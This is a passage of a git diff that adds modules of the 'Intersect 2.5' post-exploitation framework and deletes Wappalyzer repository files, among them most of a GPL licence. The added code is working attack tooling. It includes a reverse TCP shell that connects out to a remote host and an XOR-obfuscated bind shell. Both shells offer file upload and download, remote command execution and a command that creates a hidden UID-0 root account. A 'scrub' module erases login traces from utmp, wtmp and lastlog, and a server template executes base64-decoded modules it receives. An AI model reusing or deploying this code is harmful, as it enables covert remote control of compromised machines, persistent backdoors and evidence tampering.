os.path.isfile(filename): + conn.send(xor("[!] File upload failed! Please try again", PKEY)) + + elif cmd2.startswith(':download'): + getname = cmd2.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, PKEY) + conn.sendall(senddata) + else: + conn.send(xor("[+] File not found!", PKEY)) + + elif cmd2.startswith(":reboot"): + conn.send(xor("[!] Server system is going down for a reboot!", PKEY)) + os.system("shutdown -h now") + + elif cmd2 == (":mods"): + conn.send(xor(str(modList), PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith(":exec"): + getmod = cmd2.split(" ") + rmod = getmod[1] + if rmod in modList: + rmod = rmod+"()" + exec rmod + conn.send(xor("\n[+] Executing module...", PKEY)) + else: + conn.send(xor("\n[!] Module not loaded!", PKEY)) + + elif cmd2 == (':killme'): + conn.send(xor("[!] Shutting down shell!\n", PKEY)) + conn.close() + sys.exit(0) + + elif proc: + conn.send(xor( stdout , PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + diff --git a/Intersect-2.5/src/Modules/local/Standard/rshell b/Intersect-2.5/src/Modules/local/Standard/rshell new file mode 100644 index 0000000..82fbe09 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/rshell @@ -0,0 +1,88 @@ + +def rshell(): + ''' + @description: Opens a reverse TCP shell to a remote host. Interactive shell with download/upload and remote Intersect module execution. + @author: ohdae [bindshell@live.com] + @short: reverse TCP shell + ''' + socksize = 4096 + conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + conn.connect((RHOST, RPORT)) + conn.send("[+] New connection established!") + conn.send("\nIntersect "+str(os.getcwd())+" => ") + except: + print("[!] Connection error!") + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + proc = Popen(cmd, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + if cmd.startswith('cd'): + destination = cmd[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + else: + conn.send("[!] Directory does not exist") + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith(':addroot'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send("[+] Root account " + acct + " has been created.") + + elif cmd.startswith(':upload'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + filedata = conn.recv(socksize) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send("[+] File upload complete!") + if not os.path.isfile(filename): + conn.send("[!] File upload failed! Please try again") + + elif cmd.startswith(':download'): + getname = cmd.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + conn.sendall(filedata) + else: + conn.send("[+] File not found!") + + elif cmd.startswith(":reboot"): + conn.send("[!] Server system is going down for a reboot!") + os.system("shutdown -h now") + + elif cmd == (":mods"): + conn.send(str(modList)) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith(":exec"): + pass + + elif cmd == (':killme'): + conn.send("[!] Shutting down shell!\n") + conn.close() + sys.exit(0) + + elif proc: + conn.sendall( stdout ) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + + diff --git a/Intersect-2.5/src/Modules/local/Standard/scrub b/Intersect-2.5/src/Modules/local/Standard/scrub new file mode 100644 index 0000000..0487fd5 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/scrub @@ -0,0 +1,69 @@ + +def scrub(): + ''' + @description: Attempts to remove the currently logged in username and IP address from utmp, wtmp and lastlog. Intrusive method. + @author: ohdae [bindshell@live.com] + @short: cleans utmp, wtmp and lastlog + ''' + if currentuser != "root": + print("[!] Must be root to run Scrub.") + Shutdown() + + try: + Current_User = os.getlogin() + except OSError: + print("[!] Cannot find user in logs. Did you all ready run --scrub ?") + return + + log_msg("\n\n [ Executed Scrub Module ]") + log_msg("\n Start Time: %s" % logtime) + + newUtmp = scrubFile(UTMP_FILEPATH, Current_User) + writeNewFile(UTMP_FILEPATH, newUtmp) + print "[+] %s cleaned" % UTMP_FILEPATH + + newWtmp = scrubFile(WTMP_FILEPATH, Current_User) + writeNewFile(WTMP_FILEPATH, newWtmp) + print "[+] %s cleaned" % WTMP_FILEPATH + + newLastlog = scrubLastlogFile(LASTLOG_FILEPATH, Current_User) + writeNewFile(LASTLOG_FILEPATH, newLastlog) + print "[+] %s cleaned" % LASTLOG_FILEPATH + + +def scrubFile(filePath, Current_User): + newUtmp = "" + with open(filePath, "rb") as f: + bytes = f.read(UTMP_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hi32s4s32s256shhiii36x", bytes) + if cut(data[4]) != Current_User and cut(data[5]) != User_Ip_Address: + newUtmp += bytes + bytes = f.read(UTMP_STRUCT_SIZE) + f.close() + return newUtmp + + +def scrubLastlogFile(filePath, Current_User): + pw = pwd.getpwnam(Current_User) + uid = pw.pw_uid + idCount = 0 + newLastlog = '' + + with open(filePath, "rb") as f: + bytes = f.read(LASTLOG_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hh32s256s", bytes) + if (idCount != uid): + newLastlog += bytes + idCount += 1 + bytes = f.read(LASTLOG_STRUCT_SIZE) + return newLastlog + + +def writeNewFile(filePath, fileContents): + f = open(filePath, "w+b") + f.write(fileContents) + f.close() + + diff --git a/Intersect-2.5/src/Modules/local/Standard/xorshell b/Intersect-2.5/src/Modules/local/Standard/xorshell new file mode 100644 index 0000000..14da20f --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/xorshell @@ -0,0 +1,132 @@ + +def xor(string, key): + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + + +def xorshell(): + ''' + @description: Starts a TCP bind shell on the target system. Interactive shell with download/upload, cd and ability to execute other modules remotely." + @author: ohdae [bindshell@live.com] + @short: TCP bindshell + ''' + HOST = '' + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) + try: + log_msg("[ XOR Bindshell module executed ]") + server.bind((HOST, PORT)) + server.listen(5) + except: + print "[!] Connection closed." + sys.exit(2) + + while 1: + conn, addr = server.accept() + log_msg("New shell connection") + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + reaper() + childPid = os.fork() + if childPid == 0: + xorhandle(conn) + else: + shellPID.append(childPid) + + +def xorhandle(conn): + time.sleep(3) + + while True: + cmd = conn.recv(socksize) + cmd2 = xor(cmd, PKEY) + proc = Popen(cmd2, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd2.startswith('cd'): + destination = cmd2[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + elif os.path.isdir(os.getcwd()+destination): + os.chdir(os.getcwd()+destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + else: + conn.send(xor("[!] Directory does not exist", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith(':addroot'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send(xor("[+] Root account " + acct + " has been created.\n", PKEY)) + + elif cmd2.startswith(':upload'): + getname = cmd2.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, PKEY) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send(xor("[+] File upload complete!", PKEY)) + if not os.path.isfile(filename): + conn.send(xor("[!] File upload failed! Please try again", PKEY)) + + elif cmd2.startswith(':download'): + getname = cmd2.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, PKEY) + conn.sendall(senddata) + else: + conn.send(xor("[+] File not found!", PKEY)) + + elif cmd2.startswith(":reboot"): + conn.send(xor("[!] Server system is going down for a reboot!", PKEY)) + os.system("shutdown -h now") + + elif cmd2 == (":mods"): + conn.send(xor(str(modList), PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith(":exec"): + pass + #getmod = cmd2.split(" ") + #rmod = getmod[1] + #if rmod in modList: + # rmod = rmod+"()" + # exec rmod + # conn.send(xor("\n[+] Executing module...", PKEY)) + #else: + # conn.send(xor("\n[!] Module not loaded!", PKEY)) + + elif cmd2 == (':killme'): + conn.send(xor("[!] Shutting down Intersect!\n", PKEY)) + conn.close() + sys.exit(0) + + elif cmd2 == (':quit'): + conn.send(xor("[!] Closing shell connection!\n", PKEY)) + conn.close() + os._exit(0) + + elif proc: + conn.send(xor( stdout , PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + + diff --git a/Intersect-2.5/src/Templates/local/stock-template b/Intersect-2.5/src/Templates/local/stock-template new file mode 100644 index 0000000..4855d04 --- /dev/null +++ b/Intersect-2.5/src/Templates/local/stock-template @@ -0,0 +1,256 @@ +#!/usr/bin/python +# intersect 2.0 | created by ohdae +# copyright 2012 +# payload_template to be used with Create.py + +import sys, os, re, signal +from subprocess import Popen,PIPE,STDOUT,call +import platform +import shutil +import getopt +import tarfile +import socket +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import base64 +import operator +import SocketServer, SimpleHTTPServer +from math import log + +cut = lambda s: str(s).split("\0",1)[0] +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) + +try: + from scapy.all import * +except ImportError: + try: + from scapy import * + except ImportError: + print("Scapy is not installed. It can be downloaded here => https://www.secdev.org/projects/scapy/\n") + +def environment(): + global Home_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + global currentuser + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + + if os.geteuid() != 0: + currentuser = "nonroot" + else: + currentuser = "root" + + signal.signal(signal.SIGINT, signalHandler) + + os.system("clear") + + if os.path.exists(Temp_Dir) is True: + os.chdir(Temp_Dir) + else: + os.mkdir(Temp_Dir) + os.chdir(Temp_Dir) + + print "[!] Reports will be saved in: %s" % Temp_Dir + + if Logging == "yes": + global logtime + global now + import datetime + now = datetime.datetime.now() + logtime = (str(now.month)+"-"+str(now.day)+"-"+str(now.year)+" @ "+str(now.hour)+":"+str(now.minute)) + print("[!] Logging is enabled. ActivityLog located in %s" % ActivityLog) + os.system("touch %s" % ActivityLog) + write2file(ActivityLog, "\nIntersect Framework\nCustom script activity log\nStart Time: %s\n\n" % logtime) + + +def signalHandler(signal, frame): + if Logging == "yes": + write2file(ActivityLog, "\n [!] Ctrl-C caught. Shutting down!") + print("[!] Ctrl-C caught, shutting down now"); + Shutdown() + + +def Shutdown(): + if Logging == "yes": + if os.stat("%s" % ActivityLog).st_size < 79: + os.system("rm %s" % ActivityLog) + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + else: + sys.exit() + else: + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + else: + sys.exit() + + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def copy2temp(filename, subdir=""): + if os.path.exists(filename) and os.access(filename, os.R_OK): + pass + if subdir == "" is True: + shutil.copy2(filename, Temp_Dir) + if Logging == "yes": + write2file(ActivityLog, "\n %s copied to: %s " % (filename, Temp_Dir)) + else: + if os.path.exists(Temp_Dir+"/"+subdir) is True: + subdir = (Temp_Dir+"/"+subdir) + shutil.copy2(filename, subdir) + if Logging == "yes": + write2file(ActivityLog, "\n %s copied to: %s " % (filename, subdir)) + elif os.path.exists(subdir) is True: + shutil.copy2(filename, subdir) + if Logging == "yes": + write2file(ActivityLog, "\n %s copied to: %s " % (filename, subdir)) + else: + subdir = (Temp_Dir+"/"+subdir) + os.mkdir(subdir) + shutil.copy2(filename, subdir) + if Logging == "yes": + write2file(ActivityLog, "\n %s copied to: %s " % (filename, subdir)) + else: + pass + + +def write2file(filename, text): + if os.path.exists(filename) and os.access(filename, os.R_OK): + target = open(filename, "a") + target.write(text) + target.close() + else: + pass + + +def writenew(filename, content): + new = open(filename, "a") + new.write(content) + new.close() + + +def file2file(readfile, writefile): + if os.path.exists(readfile) and os.access(readfile, os.R_OK): + readfile = open(readfile) + if os.path.exists(writefile) and os.access(readfile, os.R_OK): + writefile = open(writefile, "a") + for lines in readfile.readlines(): + writefile.write(lines) + writefile.close() + readfile.close() + if Logging == "yes": + write2file(ActivityLog, "\n %s contents copied to: %s " % (readfile, writefile)) + else: + readfile.close() + else: + pass + + +def maketemp(subdir): + moddir = (Temp_Dir+"/"+subdir) + if os.path.exists(moddir) is False: + os.mkdir(moddir) + if Logging == "yes": + write2file(ActivityLog, "\n Temporary directory [ %s ] created" % subdir) + else: + pass + + +def users(): + global userlist + userlist = [] + if os.access('/etc/passwd', os.R_OK): + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + if Logging == "yes": + write2file(ActivityLog, "\n User list required for module") + + +def combinefiles(newfile, filelist): + content = '' + for f in filelist: + if os.path.exists(f) and os.access(f, os.R_OK): + content = content + '\n' + open(f).read() + open(newfile,'wb').write(content) + if Logging == "yes": + write2file(ActivityLog, "\n %s contents added to: %s " % (f, newfile)) + else: + pass + + +def tardir(name, directory): + tar = tarfile.open("%s.tar.gz", "w:gz" % name) + if os.path.exists(directory) is True: + tar.add("%s/" % directory) + print("[+] %s added to %s.tar.gz" % (name, directory)) + tar.close() + if Logging == "yes": + write2file(ActivityLog, "\n %s added to: %s.tar.gz " % (name, directory)) + else: + print("[!] Could not find directory %s " % directory) + tar.close() + + +def tarlist(name, filelist): + tar = tarfile.open("%s.tar.gz" % name, "w:gz") + for files in filelist: + if os.path.exists(files) is True: + tar.add(files) + else: + print("[!] %s not found. Skipping.." % files) + tar.close() + print("[+] %s.tar.gz file created!" % name) + if Logging == "yes": + write2file(ActivityLog, "\n %s.tar.gz archive created." % name) + + +def log_msg(message): + if Logging == "yes": + write2file(ActivityLog, message) + + +def reaper(): + while shellPID: + pid,stat = os.waitpid(0, os.WNOHANG) + if not pid: break + shellPID.remove(pid) + + + + diff --git a/Intersect-2.5/src/Templates/remote/Server.py b/Intersect-2.5/src/Templates/remote/Server.py new file mode 100755 index 0000000..60689a5 --- /dev/null +++ b/Intersect-2.5/src/Templates/remote/Server.py @@ -0,0 +1,239 @@ +#!/usr/bin/python + +# Intersect Framework (c) 2012 +# Server-side template & module handler +# https://github.com/ohdae/Intersect-2.5 + + +import os, sys, re, signal +import socket +import time +from subprocess import Popen,PIPE,STDOUT,call +from base64 import * +import datetime +import platform +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import operator +import SocketServer, SimpleHTTPServer +from math import log + + +def reaper(): + while activePID: + pid,stat = os.waitpid(0, os.WNOHANG) + if not pid: break + activePID.remove(pid) + + +def handler(connection): + time.sleep(2) + + while True: + cmd = connection.recv(socksize) + proc = Popen(cmd, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd.startswith(':upload'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + filedata = connection.recv(socksize) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + connection.send("[+] File upload complete!\n") + if not os.path.isfile(filename): + connection.send("[!] File upload failed! Please try again\n") + + elif cmd.startswith(':download'): + getname = cmd.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + connection.sendall(filedata) + else: + connection.send("[+] File not found!\n") + + elif cmd.startswith(':exec'): + getname = cmd.split(" ") # split mod name from cmd + modname = getname[1] # Parse name of module we are retrieving. Will be used for logging and output purposes + + mod_data = "" # Our received file data will go here + data = connection.recv(socksize) + mod_data += data + print("[+] Module recieved!") + connection.send("Complete") # sends OK msg to the client + modexec = b64decode(mod_data) # decode the received file + module_handler(modexec, modname) # send module to module_handler where it is executed and pipes data back to client + + elif cmd == ":quit": + print("[!] Closing server!") + conn.close() + os._exit(0) + sys.exit(0) + + elif proc: + connection.send( stdout ) + connection.send("shell => ") + + connection.close() + os._exit(0) + + +def accept(): + while 1: + global connection + connection, address = conn.accept() + print "[!] New connection!" + connection.send("shell => ") + reaper() + childPid = os.fork() # forks the incoming connection and sends to conn handler + if childPid == 0: + handler(connection) + else: + activePID.append(childPid) + + +def module_handler(module, modname): + status_msg("[+] Module: %s\n" % modname) + status_msg("[+] Start time: %s" % logtime) + exec(module) + connection.send("shell => ") + + +def status_msg(message): + connection.send("%s" % message) + + +def log_msg(message): + connection.send(":log %s" % message) + + +def cat_file(filename): + if os.path.exists(filename) and os.access(filename, os.R_OK): + catfile = open(filename, "rb") + connection.send("[+] Contents of %s" % filename) + for lines in catfile.readlines(): + connection.sendall(lines) + catfile.close() + + +def save_file(filename): + if os.path.exists(filename) and os.access(filename, os.R_OK): + savefile = open(filename, "rb") + filedata = savefile.read() + savefile.close() + connection.send(":savef %s" % filename) + time.sleep(2) + connection.sendall( filedata ) + time.sleep(2) + else: + pass + + +def cmd(command): + proc = Popen(command, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + connection.sendall( stdout ) # Send output back to the client + +def cmd2txt(command, textfile): + os.system("%s > %s" % (command, textfile)) + save_file(textfile) + os.system("rm %s" % textfile) + + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def users(): + global userlist + userlist = [] + if os.access('/etc/passwd', os.R_OK): + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + +def globalvars(): + global Home_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + global currentuser + global socksize + global activePID + global conn + global logtime + global now + global HOST + global PORT + + HOST = '' + PORT = 4444 + + ## Set basic socket and process information + socksize = 4096 + activePID = [] + + now = datetime.datetime.now() + logtime = (str(now.month)+"-"+str(now.day)+"-"+str(now.year)+" @ "+str(now.hour)+":"+str(now.minute)) + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + ## Get user and environment information + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + if os.geteuid() != 0: + currentuser = "nonroot" + else: + currentuser = "root" + + + +globalvars() + +conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +conn.bind((HOST, PORT)) +conn.listen(5) +print("Listening on TCP port %s" % PORT) +accept() + diff --git a/Wappalyzer/.gitattributes b/Wappalyzer/.gitattributes deleted file mode 100644 index 41aa20c..0000000 --- a/Wappalyzer/.gitattributes +++ /dev/null @@ -1,19 +0,0 @@ -# End-of-line normalization -* text=auto - -*.cmd text eol=lf -*.sh text eol=lf -*.md text eol=lf -*.json text eol=lf -*.js text eol=lf -*.html text eol=lf -*.css text eol=lf -*.manifest text eol=lf -*.rdf text eol=lf -*.xul text eol=lf -*.dtd text eol=lf -*.properties text eol=lf -*.php text eol=lf - -*.png binary -*.gif binary diff --git a/Wappalyzer/.gitignore b/Wappalyzer/.gitignore deleted file mode 100644 index 4e82153..0000000 --- a/Wappalyzer/.gitignore +++ /dev/null @@ -1,11 +0,0 @@ -wappalyzer-chrome.zip -wappalyzer-firefox.xpi -wappalyzer.xpi - -drivers/**/apps.json -drivers/**/wappalyzer.js -drivers/**/icons/*.png - -!.gitkeep - -node_modules/* diff --git a/Wappalyzer/LICENSE b/Wappalyzer/LICENSE deleted file mode 100644 index 20d40b6..0000000 --- a/Wappalyzer/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports 